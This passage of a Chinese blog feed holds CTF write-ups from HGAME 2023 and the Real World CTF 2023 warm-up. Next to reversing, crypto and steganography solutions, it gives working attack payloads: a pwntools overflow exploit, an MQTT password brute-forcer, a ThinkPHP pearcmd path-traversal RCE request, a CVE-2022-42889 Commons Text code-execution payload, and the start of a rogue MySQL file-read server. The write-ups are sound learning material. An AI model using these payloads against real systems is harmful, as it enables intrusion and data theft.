&lt;stdio.h&gt;#include &lt;string.h&gt;#include &lt;emmintrin.h&gt;#include &lt;stdint.h&gt;void decrypt(unsigned int *v, unsigned int *k) {unsigned int v0 = v[0], // v7             v1 = v[1]; // v9int delta = -1412567261;  // deltaint sum = 2042487904; // v3unsigned int k0 = k[0], // v2             k1 = k[1], // v4             k2 = k[2], // v5             k3 = k[3]; // v6for (int i = 0; i &lt; 32; i++) {v1 -= ((v0 &lt;&lt; 4) + k2) ^ (v0 + sum) ^ ((v0 &gt;&gt; 5) + k3);v0 -= ((v1 &lt;&lt; 4) + k0) ^ (v1 + sum) ^ ((v1 &gt;&gt; 5) + k1);sum -= delta;}v[0] = v0;v[1] = v1;}int __cdecl main() {int Buf2[8];unsigned int si128[] = {0x12345678, 0x23456789, 0x34567890, 0x45678901}; // 0x45678901, 0x34567890, 0x23456789, 0x12345678Buf2[0] = 778273437;Buf2[1] = -1051836401;Buf2[2] = -1690714183;Buf2[3] = 1512016660;Buf2[4] = 1636330974;Buf2[5] = 1701168847;Buf2[6] = -1626976412;Buf2[7] = 594166774;char buf[50] = {0};memcpy(buf, Buf2, sizeof Buf2);decrypt((unsigned int *)&amp;buf, si128);decrypt((unsigned int *)&amp;buf + 2, si128);decrypt((unsigned int *)&amp;buf + 4, si128);decrypt((unsigned int *)&amp;buf + 6, si128);printf(&quot;%s&quot;, buf);return 0;}</code></pre><p>值得注意的是，<code>decrypt</code>函数的<code>sum</code>需要在C语言环境下计算得出，因为它在计算过程中有发生溢出。最后计算出的flag为：</p><pre><code class="language-">hgame{Tea_15_4_v3ry_h3a1thy_drln</code></pre><p>emmm，好像末尾又少了一些什么，不过笔者忘了最后是啥了，这就留给各位读者自行尝试吧~</p><h2 id="%5Breverse%5D-encode" tabindex="-1">[REVERSE] encode</h2><p>这道题需要用32位IDA反编译，代码如下：</p><pre><code class="language-c">int __cdecl main(int argc, const char **argv, const char **envp){  int v4[100]; // [esp+0h] [ebp-1CCh] BYREF  char v5[52]; // [esp+190h] [ebp-3Ch] BYREF  int j; // [esp+1C4h] [ebp-8h]  int i; // [esp+1C8h] [ebp-4h]  memset(v5, 0, 0x32u);  memset(v4, 0, sizeof(v4));  sub_4011A0(a50s, (char)v5);  for ( i = 0; i &lt; 50; ++i )  {    v4[2 * i] = v5[i] &amp; 0xF;    v4[2 * i + 1] = (v5[i] &gt;&gt; 4) &amp; 0xF;  }  for ( j = 0; j &lt; 100; ++j )  {    if ( v4[j] != dword_403000[j] )    {      sub_401160(Format, v4[0]);      return 0;    }  }  sub_401160(aYesYouAreRight, v4[0]);  return 0;}</code></pre><p>这里有一个<code>dword_403000</code>全局数组，需要导出，<code>SHIFT+E</code>-&gt;<code>initialized C variable</code>即可。本题核心加密代码为：</p><pre><code class="language-c">v4[2 * i] = v5[i] &amp; 0xF;v4[2 * i + 1] = (v5[i] &gt;&gt; 4) &amp; 0xF;</code></pre><p>编写解密代码：</p><pre><code class="language-c">#include &lt;stdlib.h&gt;#include &lt;stdio.h&gt;#include &lt;string.h&gt;int dword_403000[100] = {8, 6, 7, 6, 1, 6, 13, 6, 5, 6, 11, 7, 5, 6, 14, 6, 3, 6, 15, 6, 4, 6, 5, 6, 15, 5, 9, 6, 3, 7, 15, 5, 5, 6, 1, 6, 3, 7, 9, 7, 15, 5, 6, 6, 15, 6, 2, 7, 15, 5, 1, 6, 15, 5, 2, 7, 5, 6, 6, 7, 5, 6, 2, 7, 3, 7, 5, 6, 15, 5, 5, 6, 14, 6, 7, 6, 9, 6, 14, 6, 5, 6, 5, 6, 2, 7, 13, 7, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0};int main() {int v4[100]; // [esp+0h] [ebp-1CCh] BYREFchar v5[52]; // [esp+190h] [ebp-3Ch] BYREFint j; // [esp+1C4h] [ebp-8h]memset(v5, 0, 0x32u);memset(v4, 0, sizeof(v4));for ( j = 0; j &lt; 50; ++j ) {printf(&quot;%c&quot;, dword_403000[2 * j] + dword_403000[2 * j + 1] * 16);}return 0;}</code></pre><p>得到flag</p><pre><code class="language-">hgame{encode_is_easy_for_a_reverse_engineer}</code></pre><h2 id="%5Bpwn%5D-test_nc" tabindex="-1">[PWN] test_nc</h2><p>由标题可知，他就是一道测试nc的题目，连接到服务器，输入<code>cat /flag</code>即可获得flag：</p><pre><code class="language-">hgame{37b459d8acaf8f1c622589e1471664ca30121dbe}</code></pre><h2 id="%5Bpwn%5D-easy_overflow" tabindex="-1">[PWN] easy_overflow</h2><blockquote><p>本题参考文章：<a href="https://blog.csdn.net/ChaoYue_miku/article/details/118405375" target="_blank">https://blog.csdn.net/ChaoYue_miku/article/details/118405375</a></p></blockquote><p>IDA反编译后，代码如下：</p><pre><code class="language-c">int __cdecl main(int argc, const char **argv, const char **envp){  char buf[16]; // [rsp+0h] [rbp-10h] BYREF  close(1);  read(0, buf, 0x100uLL);  return 0;}</code></pre><p>同时，在地址<code>0x0000000000401176</code>处发现后门函数：</p><pre><code class="language-c">int b4ckd0or(){  return system(&quot;/bin/sh&quot;);}</code></pre><p>根据参考文章可知，该题的突破口在buf变量，需要将buf的r部分指向后门函数，因此构造如下poc</p><pre><code class="language-python">from pwn import *if __name__ == &#39;__main__&#39;:    r = remote(&quot;week-1.hgame.lwsec.cn&quot;, 32586)    payload = b&#39;A&#39; * 0x10 + b&#39;a&#39; * 0x8 + bytes(p64(0x00401176))    r.send(payload)    r.interactive()    # cat /flag 1&gt;&amp;2</code></pre><p>执行<code>cat</code>时发现<code>stdout</code>被关掉了，没关系，只需要转到<code>stderr</code>就行了，运行程序后，输入<code>cat /flag 1&gt;&amp;2</code>，得到flag</p><pre><code class="language-">hgame{dc8d25d3c48e6e0e258ad1183c5c131569c9a567}</code></pre><h2 id="%5Bcrypto%5D-%E5%85%94%E5%85%94%E7%9A%84%E8%BD%A6%E7%A5%A8" tabindex="-1">[CRYPTO] 兔兔的车票</h2><p>下载附件分析后可知，本题为是一道图片异或加密题，也就是将图片的每个像素点对应的颜色进行异或加密存储，题目源代码如下（有部分修改）：</p><pre><code class="language-python">from PIL import Imagefrom Crypto.Util.number import *from random import shuffle, randint, getrandbits# flagImg = Image.open(&#39;flag.png&#39;)width = 379height = 234def makeSourceImg():    colors = long_to_bytes(getrandbits(width * height * 24))[::-1]    img = Image.new(&#39;RGB&#39;, (width, height))    x = 0    for i in range(height):        for j in range(width):            img.putpixel((j, i), (colors[x], colors[x + 1], colors[x + 2]))            x += 3    return imgdef xorImg(keyImg, sourceImg):    img = Image.new(&#39;RGB&#39;, (width, height))    for i in range(height):        for j in range(width):            p1, p2 = keyImg.getpixel((j, i)), sourceImg.getpixel((j, i))            img.putpixel((j, i), tuple([(p1[k] ^ p2[k]) for k in range(3)]))    return img# source文件夹下面的图片生成过程：def makeImg():    colors = list(long_to_bytes(getrandbits(width * height * 23)).zfill(width * height * 24))    shuffle(colors)    print(colors[0:width * height])    colors = bytes(colors)    img = Image.new(&#39;RGB&#39;, (width, height))    x = 0    for i in range(height):        for j in range(width):            img.putpixel((j, i), (colors[x], colors[x + 1], colors[x + 2]))            x += 3    return imgmakeImg()# for i in range(15):#     im = makeImg()#     im.save(f&quot;./source/picture{i}.png&quot;)n1 = makeSourceImg()n2 = makeSourceImg()n3 = makeSourceImg()nonce = [n1, n2, n3]index = list(range(16))shuffle(index)e = 0&quot;&quot;&quot;这里flag.png已经提前被保存在source文件夹下了，文件名也是picture{xx}.png&quot;&quot;&quot;for i in index:    im = Image.open(f&quot;source/picture{i}.png&quot;)    key = nonce[randint(0, 2)]    encImg = xorImg(key, im)    encImg.save(f&#39;pics/enc{e}.png&#39;)    e += 1if __name__ == &#39;__main__&#39;:    pass</code></pre><p>乍一看，这道题的加密数据是随机的，似乎是无解的，但是分析生成随机图片的函数可知：</p><pre><code class="language-"># source文件夹下面的图片生成过程：def makeImg():    colors = list(long_to_bytes(getrandbits(width * height * 23)).zfill(width * height * 24))    shuffle(colors)    print(colors[0:width * height])    colors = bytes(colors)    img = Image.new(&#39;RGB&#39;, (width, height))    x = 0    for i in range(height):        for j in range(width):            img.putpixel((j, i), (colors[x], colors[x + 1], colors[x + 2]))            x += 3    return img</code></pre><p>在生成图片的过程中，有<code>weight * height</code>个像素颜色是<code>0</code>，我们又知道，异或加密是可逆加密，一旦知道了原文，便可以和密文进行异或，推出密钥，于是，可以将每张加密过的图片的像素数据都异或<code>48</code>（也就是字符0），得到一个部分正确的密钥，虽然正确的部分不多，但是只要能够看清flag即可。下面是解密代码：</p><pre><code class="language-python">from PIL import Imagewidth = 379height = 234def xorImg(keyImg, sourceImg):    img = Image.new(&#39;RGB&#39;, (width, height))    for i in range(height):        for j in range(width):            p1 = keyImg[i][j]            p2 = sourceImg.getpixel((j, i))            img.putpixel((j, i), tuple([(p1[k] ^ p2[k]) for k in range(3)]))    return imgnonce = []def getWhiteKeys(index):    im = Image.open(f&quot;pics/enc{index}.png&quot;)    res = []    for i in range(height):        row = []        for j in range(width):            p1 = im.getpixel((j, i))            row.append([(p1[k] ^ 48) for k in range(3)])        res.append(row)    return resindex = list(range(16))e = 0for i in index:    nonce.append(getWhiteKeys(i))for i in index:    im = Image.open(f&quot;pics/enc{i}.png&quot;)    key_index = 0    for key in nonce:        key_index += 1        print(len(key))        encImg = xorImg(key, im)        encImg.save(f&#39;source/pic{e}_{key_index}.png&#39;)        print(f&#39;source/pic{e}_{key_index}.png&#39;)    e += 1if __name__ == &#39;__main__&#39;:    pass</code></pre><p>运行后，可以在<code>source</code>文件夹中看到若干图片，其中就有部分可以清晰看见车票：<br /><img src="https://blog.vvbbnn00.cn/upload/2023/01/20030e05604f209f82cf1a65d2a92161.png" alt="20030e05604f209f82cf1a65d2a92161" /><br />得到flag：</p><pre><code class="language-">hgame{Oh_my_Ticket}</code></pre><h2 id="rsa" tabindex="-1">RSA</h2><p>本题可以使用<code>RsaCtfTool</code>解答：</p><pre><code class="language-shell">python RsaCtfTool.py -n 135127138348299757374196447062640858416920350098320099993115949719051354213545596643216739555453946196078110834726375475981791223069451364024181952818056802089567064926510294124594174478123216516600368334763849206942942824711531334239106807454086389211139153023662266125937481669520771879355089997671125020789 -e 65537  --uncipher 110674792674017748243232351185896019660434718342001686906527789876264976328686134101972125493938434992787002915562500475480693297360867681000092725583284616353543422388489208114545007138606543678040798651836027433383282177081034151589935024292017207209056829250152219183518400364871109559825679273502274955582</code></pre><p>解出的flag为</p><pre><code class="language-">hgame{factordb.com_is_strong!}</code></pre><h2 id="%5Bcrypto%5D-be-stream" tabindex="-1">[CRYPTO] Be Stream</h2><p>源代码如下：</p><pre><code class="language-">flag = b&#39;123456&#39;key = [int.from_bytes(b&quot;Be water&quot;, &#39;big&#39;), int.from_bytes(b&quot;my friend&quot;, &#39;big&#39;)]def stream(i):    if i == 0:        return key[0]    elif i == 1:        return key[1]    else:        return (stream(i - 2) * 7 + stream(i - 1) * 4)enc = b&quot;&quot;for i in range(len(flag)):    water = stream((i // 2) ** 6) % 256    enc += bytes([water ^ flag[i]])print(enc)# b&#39;\x1a\x15\x05\t\x17\t\xf5\xa2-\x06\xec\xed\x01-\xc7\xcc2\x1eXA\x1c\x157[\x06\x13/!-\x0b\xd4\x91-\x06\x8b\xd4-\x1e+*\x15-pm\x1f\x17\x1bY&#39;if __name__ == &#39;__main__&#39;:    pass</code></pre><p>看题目其实不难发现，重点需要计算的是这个<code>water</code>变量的值，如果直接算的话，会递归非常多次，而且数字很大，一定会堆栈溢出的，因此，这里需要优化（解法可能不唯一）。首先，将所有的大数字都<code>MOD 256</code>，然后会发现，其实函数<code>stream</code>的参数只有<code>0-255</code>，那么，记忆化搜索便是一个很好的优化方法。最后优化过的解密代码如下：</p><pre><code class="language-python">data = bytes(    b&#39;\x1a\x15\x05\t\x17\t\xf5\xa2-\x06\xec\xed\x01-\xc7\xcc2\x1eXA\x1c\x157[\x06\x13/!-\x0b\xd4\x91-\x06\x8b\xd4-\x1e+*\x15-pm\x1f\x17\x1bY&#39;)key = [int.from_bytes(b&quot;Be water&quot;, &#39;big&#39;), int.from_bytes(b&quot;my friend&quot;, &#39;big&#39;)]stream_num = {}def stream(i):    if stream_num.get(i) is not None:        return stream_num[i]    if i == 0:        return key[0] % 256    elif i == 1:        return key[1] % 256    else:        final = stream(i - 2) * 7 % 256 + stream(i - 1) * 4 % 256        if not stream_num.get(i):            stream_num[i] = final        return finalori = b&quot;&quot;for i in range(len(data)):    water = stream((i // 2) ** 6 % 256) % 256    ori += bytes([water ^ data[i]])    print(ori)print(ori)# b&#39;\x1a\x15\x05\t\x17\t\xf5\xa2-\x06\xec\xed\x01-\xc7\xcc2\x1eXA\x1c\x157[\x06\x13/!-\x0b\xd4\x91-\x06\x8b\xd4-\x1e+*\x15-pm\x1f\x17\x1bY&#39;if __name__ == &#39;__main__&#39;:    pass</code></pre><p>运行即可获得flag</p><pre><code class="language-">hgame{1f_this_ch@l|eng3_take_y0u_to0_long_time?}</code></pre><h2 id="%5Bmisc%5D-sign-in" tabindex="-1">[MISC] Sign In</h2><p>原文：</p><pre><code class="language-">aGdhbWV7V2VsY29tZV9Ub19IR0FNRTIwMjMhfQ==</code></pre><p>一眼BASE64，解码后得到：</p><pre><code class="language-">hgame{Welcome_To_HGAME2023!}</code></pre><h2 id="%5Bmisc%5D-where-am-i" tabindex="-1">[MISC] Where am I</h2><p>分析流量可知，用户向<code>/upload</code>接口发送<code>HTTP</code>流量，上传压缩包，将上传的数据dump下来，发现是一个名为<code>fake.rar</code>的压缩包。直接打开提示压缩包头已损坏，使用<code>winrar</code>修复后可打开，打开后解压（压缩包密码为空），得到一张图片，查询图片的EXIF，即可知道经纬度：<br /><img src="https://blog.vvbbnn00.cn/upload/2023/01/e41fb008ff1871911b185357304d0949.png" alt="e41fb008ff1871911b185357304d0949" /><br />最后的flag为：</p><pre><code class="language-">hgame{116_24_1488_E_39_54_5418_N}</code></pre><h2 id="%5Bmisc%5D-%E7%A5%9E%E7%A7%98%E7%9A%84%E6%B5%B7%E6%8A%A5" tabindex="-1">[MISC] 神秘的海报</h2><p>下载海报，CRC校验通过，说明该图片有可能是被隐写过的。使用python工具<code>tsteg</code>（这个工具是在菜狗杯解WEB题时发现的，还挺好用）解析一下图片，发现是LSB隐写，隐写内容如下：</p><pre><code class="language-text">strings:Sure enough, you still remember what we talked aboutat that time! This is part of the secret: &#96;hgame{U_Kn0w_LSB&amp;W&#96;strings:I put the rest of the content here, https://drive.google.com/file/d/13kBos3Ixlfwkf3e0z0kJTEqBxm7RUk-G/view?usp=sharing, if you directly access the google drive cloud disk download in China, it will be very slow,you can try to use Scientific Internet access solves the problem of slow or inaccessible access to external networkresources. This is my favorite music, there is another part of the secret in the music, I use Steghide to encrypt, the password is also the 6-digit password we agreed at the time,even if someone else finds out here, it should not be so easy to crack (( hope so</code></pre><p>得到前半部分的flag：</p><pre><code class="language-">hgame{U_Kn0w_LSB&amp;W</code></pre><p>后一部分需要在该链接：<a href="https://drive.google.com/file/d/13kBos3Ixlfwkf3e0z0kJTEqBxm7RUk-G/view?usp=sharing" target="_blank">https://drive.google.com/file/d/13kBos3Ixlfwkf3e0z0kJTEqBxm7RUk-G/view?usp=sharing</a><br />下载音频后，通过Steghide解密即可获得后半部分flag。<br />根据提示，密码是6位数字，笔者运气很好，一下子就试对了（<br />密码是<code>123456</code>，输入</p><pre><code class="language-shell">steghide info /home/kali/Desktop/Bossanova.wav -p 123456 </code></pre><p>查看到里面包含了一个<code>flag2.txt</code>，解压出来：</p><pre><code class="language-shell">steghide extract  -p 123456 -sf /home/kali/Desktop/Bossanova.wav</code></pre><p>得到另一半flag</p><pre><code class="language-">av^Mp3_Stego}</code></pre><p>最终得到的flag</p><pre><code class="language-">hgame{U_Kn0w_LSB&amp;Wav^Mp3_Stego}</code></pre><h2 id="%5Bmisc%5D-e99p1ant_want_girlfriend" tabindex="-1">[MISC] e99p1ant_want_girlfriend</h2><p>下载附件，发现图片的CRC校验有误，可推测图片的实际宽高与当前宽高不符（详情见：<a href="https://www.cnblogs.com/WangAoBo/p/7108278.html" target="_blank">https://www.cnblogs.com/WangAoBo/p/7108278.html</a>）<br />因此，可以使用脚本推算真实高度，脚本如下：</p><pre><code class="language-python">import structimport zlibdef hexStr2bytes(s):    b = b&quot;&quot;    for i in range(0, len(s), 2):        temp = s[i:i + 2]        b += struct.pack(&quot;B&quot;, int(temp, 16))    return bstr1 = &quot;49484452&quot;str2 = &quot;0806000000&quot;bytes1 = hexStr2bytes(str1)bytes2 = hexStr2bytes(str2)wid, hei = 512, 680crc32 = &quot;0xa8586b45&quot;for w in range(wid, wid + 2000):    for h in range(hei, hei + 2000):        width = hex(w)[2:].rjust(8, &#39;0&#39;)        height = hex(h)[2:].rjust(8, &#39;0&#39;)        bytes_temp = hexStr2bytes(width + height)        if eval(hex(zlib.crc32(bytes1 + bytes_temp + bytes2))) == eval(crc32):            print(hex(w), hex(h))            print(w, h)if __name__ == &#39;__main__&#39;:    pass</code></pre><p>计算出，宽高应为<code>512 x 706</code>，打开图片后，可在图片底部发现flag</p><pre><code class="language-">hgame{e99p1ant_want_a_girlfriend_qq_524306184}</code></pre><h2 id="%5Biot%5D-help-the-uncle-who-can%E2%80%99t-jump-twice" tabindex="-1">[IoT] Help the uncle who can’t jump twice</h2><p>显然，是一道MQTT的签到题，根据附件给的字典和提示，可知用户名是<code>Vergil </code>，密码可编写以下代码进行爆破：</p><pre><code class="language-python">import randomfrom paho.mqtt import client as mqtt_clientdef connect_mqtt(username, password):    broker = &#39;117.50.177.240&#39;    port = 1883    client_id = f&#39;python-mqtt-{random.randint(0, 1000)}&#39;    def on_connect(client, userdata, flags, rc):        if rc == 0:            print(username, password)            print(&quot;Connected to MQTT Broker!&quot;)        else:            pass    client = mqtt_client.Client(client_id)    client.username_pw_set(username, password)    client.on_connect = on_connect    client.connect(broker, port)    return clientif __name__ == &#39;__main__&#39;:    f = open(&quot;dic.txt&quot;, &quot;r&quot;)    ff = f.read().split(&quot;\n&quot;)    for password in ff:        c = connect_mqtt(&quot;Vergil&quot;, password)        c.loop_start()</code></pre><p>爆破得到密码：<code>power</code><br />登录以后，添加一个<code>Nero/YAMATO</code>的订阅，很快就能接收到flag</p><pre><code class="language-">hgame{mqtt_1s_p0w3r}</code></pre>]]>
                </content>
            </entry>
            <entry>
                <title><![CDATA[Real World CTF 2023 体验赛部分Writeup]]></title>
                <link rel="alternate" type="text/html" href="https://blog.vvbbnn00.cn/archives/realworldctf2023-ti-yan-sai-bu-fen-ti-jie" />
                <id>tag:https://blog.vvbbnn00.cn,2023-01-12:realworldctf2023-ti-yan-sai-bu-fen-ti-jie</id>
                <published>2023-01-12T15:48:18+08:00</published>
                <updated>2023-01-17T03:37:38+08:00</updated>
                <author>
                    <name>不做评论</name>
                    <uri>https://blog.vvbbnn00.cn</uri>
                </author>
                <content type="html">
                        <![CDATA[<p>本文章整理了Real World CTF 2023 体验赛的部分题解，由于笔者整理WriteUp时比赛已经结束，原始题目已经不可见，因此，可能存在部分遗漏的信息，望见谅。</p><h2 id="%5Bcheckin%5D-%F0%9F%90%91%E4%BA%86%E6%8B%BC%F0%9F%90%91" tabindex="-1">[Checkin] 🐑了拼🐑</h2><blockquote><p>题目链接：<a href="https://be-a-rwctfer.realworldctf.com/challenge/63b8349c3d60ca000106fc8f" target="_blank">https://be-a-rwctfer.realworldctf.com/challenge/63b8349c3d60ca000106fc8f</a><br />实例链接：<a href="http://47.92.144.84:8080/" target="_blank">http://47.92.144.84:8080/</a><br /><strong>截至笔者撰稿，该环境已关闭</strong></p></blockquote><p>签到题，F12搜索源代码中包含<code>rwctf</code>的内容，即可找到flag</p><pre><code class="language-">rwctf{wellcome_to_the_rwctf!}</code></pre><h2 id="%5Bweb%5D-be-a-language-expert" tabindex="-1">[WEB] Be-a-Language-Expert</h2><blockquote><p>题目链接：<a href="https://be-a-rwctfer.realworldctf.com/challenge/63b830f73d60ca000106fc83" target="_blank">https://be-a-rwctfer.realworldctf.com/challenge/63b830f73d60ca000106fc83</a><br />实例链接：<a href="http://47.98.124.175:8080/" target="_blank">http://47.98.124.175:8080/</a></p></blockquote><p>该题考查ThinkPHP V6.0.12TLS的安全漏洞，根据查询，发现大致有两个利用可能性较高的漏洞：</p><ul><li>ThinkPHP V6.0.12LTS 反序列化漏洞：<a href="https://blog.csdn.net/weixin_50289181/article/details/125139737" target="_blank">https://blog.csdn.net/weixin_50289181/article/details/125139737</a></li><li>ThinkPHP V6.0.12LTS 多语言模块漏洞：<a href="https://www.freebuf.com/articles/web/352154.html" target="_blank">https://www.freebuf.com/articles/web/352154.html</a></li></ul><p>根据分析，反序列化漏洞要能够成功利用必须要已知有接口调用过反序列化才行，显然，本题中并没有这样的一个接口，因此，只能利用多语言模块漏洞。<br />具体的原理可以参见这篇文章：<a href="https://f5.pm/go-144285.html" target="_blank">https://f5.pm/go-144285.html</a><br />简单来说，ThinkPHP可以通过lang参数设置语言，设置语言的原理是通过字符串拼接的方式，<code>include</code>相应的php文件，这就存在Path Traversal漏洞，可以利用该漏洞，包含一些其他的PHP文件，其中，一个内置文件<code>pearcmd.php</code>便是很好的利用点（具体利用方法见：<a href="https://blog.csdn.net/RABCDXB/article/details/122050370" target="_blank">https://blog.csdn.net/RABCDXB/article/details/122050370</a>）</p><p>因此，首先，我们可以发送如下请求：</p><pre><code class="language-text">GET /index.php/?lang=../../../../../../../../usr/local/lib/php/pearcmd&amp;+config-create+/&lt;?=system(&#39;ls${IFS}-la${IFS}/&#39;);?&gt;+/tmp/getflag.php HTTP/1.1</code></pre><p>此处，我们使用<code>${IFS}</code>替代空格。该命令会在<code>/tmp/getflag.php</code>处创建一个包含<code>system('ls${IFS}-la${IFS}/');</code>语句的PHP文件，用于测试注入是否成功，同时找寻flag的位置。<br />接着，我们访问</p><pre><code class="language-text">http://47.98.124.175:8080/index.php/?lang=../../../../../../../../tmp/getflag</code></pre><p>可以看到执行结果：</p><pre><code class="language-text">total 100drwxr-xr-x   1 root root  4096 Jan 12 06:28 .drwxr-xr-x   1 root root  4096 Jan 12 06:28 ..-rwxr-xr-x   1 root root     0 Jan 12 06:28 .dockerenvdrwxr-xr-x   1 root root  4096 Jan  5 11:28 bindrwxr-xr-x   2 root root  4096 Sep  3 12:10 bootdrwxr-xr-x   5 root root   360 Jan 12 06:28 devdrwxr-xr-x   1 root root  4096 Jan 12 06:28 etc-r--------   1 root root    45 Jan  5 10:55 flagdrwxr-xr-x   2 root root  4096 Sep  3 12:10 homedrwxr-xr-x   1 root root  4096 Nov 15 04:13 libdrwxr-xr-x   2 root root  4096 Nov 14 00:00 lib64drwxr-xr-x   2 root root  4096 Nov 14 00:00 mediadrwxr-xr-x   2 root root  4096 Nov 14 00:00 mntdrwxr-xr-x   2 root root  4096 Nov 14 00:00 optdr-xr-xr-x 155 root root     0 Jan 12 06:28 proc-r-sr-xr-x   1 root root 16592 Jan  5 11:21 readflagdrwx------   1 root root  4096 Nov 15 06:04 rootdrwxr-xr-x   1 root root  4096 Nov 15 04:17 rundrwxr-xr-x   1 root root  4096 Nov 15 04:16 sbindrwxr-xr-x   2 root root  4096 Nov 14 00:00 srvdr-xr-xr-x  13 root root     0 Jan 12 06:28 sysdrwxrwxrwt   1 root root  4096 Jan 12 06:28 tmpdrwxr-xr-x   1 root root  4096 Nov 14 00:00 usrdrwxr-xr-x   1 root root  4096 Jan  5 11:28 vardrwxr-xr-x   1 root root  4096 Jan  5 11:28 var/pear/php</code></pre><p>这里，我们发现，flag文件的权限是<code>-r--------</code>，即仅文件创建者可读，而我们非root用户，因此，无法通过<code>cat /flag</code>来读取flag文件。但是，<code>readflag</code>是可以执行的，因此，我们需要运行的是<code>/readflag</code>而非<code>cat /flag</code>。<br />接下来构造最终payload：</p><pre><code class="language-text">GET /index.php/?lang=../../../../../../../../usr/local/lib/php/pearcmd&amp;+config-create+/&lt;?=system(&#39;/readflag&#39;);?&gt;+/tmp/getflag.php HTTP/1.1Host: 47.98.124.175:8080Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.5359.125 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9Accept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9Connection: close</code></pre><p>请求后访问</p><pre><code class="language-text">http://47.98.124.175:8080/index.php/?lang=../../../../../../../../tmp/getflag</code></pre><p>得到flag</p><pre><code class="language-text">rwctf{PHP_1s_Th3_B3st_L@ngvag3_1n_the_w0r1d}</code></pre><h2 id="%5Bweb%5D-apachecommandtext" tabindex="-1">[WEB] ApacheCommandText</h2><blockquote><p>题目链接：<a href="https://be-a-rwctfer.realworldctf.com/challenge/63b830c73d60ca000106fc82" target="_blank">https://be-a-rwctfer.realworldctf.com/challenge/63b830c73d60ca000106fc82</a><br />实例链接：<a href="http://47.97.194.250:8081" target="_blank">http://47.97.194.250:8081</a></p></blockquote><p>查阅相关资料可知，与该题有关的漏洞大概率是<code>CVE-2022-42889</code>，即<code>Apache Commons Text远程代码执行漏洞</code>，根据<a href="https://github.com/SeanWrightSec/CVE-2022-42889-PoC" target="_blank">https://github.com/SeanWrightSec/CVE-2022-42889-PoC</a>提供的漏洞检测语句，构造测试payload：</p><pre><code class="language-">${script:javascript:195 + 324}</code></pre><p>发现返回：<code>hack! [script, file, url, dns] is not allowed!</code>说明可能有正则检测，但是方向是对的。查阅<a href="https://commons.apache.org/proper/commons-text/userguide.html" target="_blank">官方文档</a>后发现，<code>Apache Commons Text</code>可用的方法大约为以下几类：</p><pre><code class="language-">final StringSubstitutor interpolator = StringSubstitutor.createInterpolator();final String text = interpolator.replace(    &quot;Base64 Decoder:        ${base64Decoder:SGVsbG9Xb3JsZCE=}\n&quot; +    &quot;Base64 Encoder:        ${base64Encoder:HelloWorld!}\n&quot; +    &quot;Java Constant:         ${const:java.awt.event.KeyEvent.VK_ESCAPE}\n&quot; +    &quot;Date:                  ${date:yyyy-MM-dd}\n&quot; +    &quot;Environment Variable:  ${env:USERNAME}\n&quot; +    &quot;File Content:          ${file:UTF-8:src/test/resources/document.properties}\n&quot; +    &quot;Java:                  ${java:version}\n&quot; +    &quot;Localhost:             ${localhost:canonical-name}\n&quot; +    &quot;Properties File:       ${properties:src/test/resources/document.properties::mykey}\n&quot; +    &quot;Resource Bundle:       ${resourceBundle:org.apache.commons.text.example.testResourceBundleLookup:mykey}\n&quot; +    &quot;System Property:       ${sys:user.dir}\n&quot; +    &quot;URL Decoder:           ${urlDecoder:Hello%20World%21}\n&quot; +    &quot;URL Encoder:           ${urlEncoder:Hello World!}\n&quot; +    &quot;XML XPath:             ${xml:src/test/resources/document.xml:/root/path/to/node}\n&quot;);</code></pre><p>其中的<code>Base64 Decoder</code>很快引起了我的注意。<br />测试对<code>${script:javascript:195 + 324}</code>进行BASE64 Encode，然后提交payload：</p><pre><code class="language-">${base64Decoder:JHtzY3JpcHQ6amF2YXNjcmlwdDoxOTUgKyAzMjR9}</code></pre><p>成功得到输出：<br /><img src="https://blog.vvbbnn00.cn/upload/2023/01/4c655eb3d4722a5745b2c28e7e2f5f0b.png" alt="4c655eb3d4722a5745b2c28e7e2f5f0b" /><br />很明显，方向对了，接下来只需要不断前进就行了。<br />尝试了半天以后，最终得出有效的请求语句：</p><pre><code class="language-java">new java.io.BufferedReader(new java.io.InputStreamReader(java.lang.Runtime.getRuntime().exec(&quot;/readflag&quot;).getInputStream())).readLine()</code></pre><p>处理后最终的payload为：</p><pre><code class="language-java">${base64Decoder:JHtzY3JpcHQ6amF2YXNjcmlwdDpuZXcgamF2YS5pby5CdWZmZXJlZFJlYWRlcihuZXcgamF2YS5pby5JbnB1dFN0cmVhbVJlYWRlcihSdW50aW1lLmdldFJ1bnRpbWUoKS5leGVjKCIvcmVhZGZsYWciKS5nZXRJbnB1dFN0cmVhbSgpKSkucmVhZExpbmUoKX0=}</code></pre><p>得到flag：</p><pre><code class="language-text">rwctf{rwctf_1terat1on_1s_4_g0od_des1gN_e5aa}</code></pre><h2 id="%5Bweb%5D-evil-mysql-server" tabindex="-1">[WEB] Evil MySQL Server</h2><blockquote><p>题目链接：<a href="https://be-a-rwctfer.realworldctf.com/challenge/63b8364c3d60ca000106fc91" target="_blank">https://be-a-rwctfer.realworldctf.com/challenge/63b8364c3d60ca000106fc91</a><br />实例链接：<a href="http://116.62.153.136:8080/" target="_blank">http://116.62.153.136:8080/</a><br />本题利用的是<code>JDBC Mysql</code>任意文件读取漏洞。使用以下代码搭建一个假Mysql服务器，请求flag文件，然后打开端口穿透，让靶机访问该sql服务器即可：</p></blockquote><pre><code class="language-python">import socketimport logginglogging.basicConfig(level=logging.DEBUG)filename = &quot;/flag&quot;def main():    sv = socket.socket()    sv.bind((&quot;&quot;, 1999))    sv.listen(5)    conn, address = sv.accept()    logging.info(&#39;Conn from: %r&#39;, address)    conn.sendall(        b&quot;\x4a\x00\x00\x00\x0a\x35\x2e\x35\x2e\x35\x33\x00\x17\x00\x00\x00\x6e\x7a\x3b\x54\x76\x73\x61\x6a\x00\xff\xf7\x21\x02\x00\x0f\x80\x15\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x70\x76\x21\x3d\x50\x5c\x5a\x32\x2a\x7a\x49\x3f\x00\x6d\x79\x73\x71\x6c\x5f\x6e\x61\x74\x69\x76\x65\x5f\x70\x61\x73\x73\x77\x6f\x72\x64\x00&quot;)    conn.recv(9999)    logging.info(&quot;auth okay&quot;)    